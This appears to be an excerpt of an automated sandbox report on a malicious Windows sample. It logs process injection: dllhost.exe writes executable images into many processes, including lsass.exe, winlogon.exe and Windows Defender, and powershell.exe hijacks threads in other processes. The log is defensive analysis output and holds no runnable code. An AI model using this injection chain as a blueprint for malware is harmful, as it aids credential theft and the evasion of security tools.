Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: BA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C80000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2830000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 610000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: BD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2910000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 15E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 27C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B10000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1080000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 920000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2FE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 26A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 27F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 27E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2E80000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2AF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 890000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 22A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2860000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 920000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: AA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: AD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2640000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1280000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 7E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 10B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C80000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 26B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 540000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1050000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 7D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 900000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2270000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: FE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2040000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: A50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 28D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2980000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 29A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: E70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 950000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 28A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: D60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2F00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: CA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: A00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 620000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 13D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1300000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2700000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: AD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 680000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 940000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 630000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 6A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: D40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: A60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2900000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 6D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 10C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 870000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2680000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 710000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 520000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 680000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1110000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1400000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A8C180000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 242BF650000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2578F260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\cmd.exe base: 1B68BCF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1E591C90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2134E400000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 1A6A2460000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1EB0CEB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 182A5970000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 182A59A0000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dllhost.exe	Memory written: PID: 4056 base: 8590000 value: 4D
Source: C:\Windows\System32\dllhost.exe	Memory written: PID: 4056 base: 8D00000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 7276	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 7680	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 1188	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 1660	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140007000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: CA6708B010	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1CA7D1B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 17D2DD20000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22F4B8F0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 262F1EB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23942AE0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF056A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2287A7D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B94DA60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25202540000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9EBF90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19FF1600000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A76A170000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14D26990000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2175D5C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B0AB960000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2129B2A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26384180000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25178730000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1495FCF0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22125D90000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000	Jump to behavior
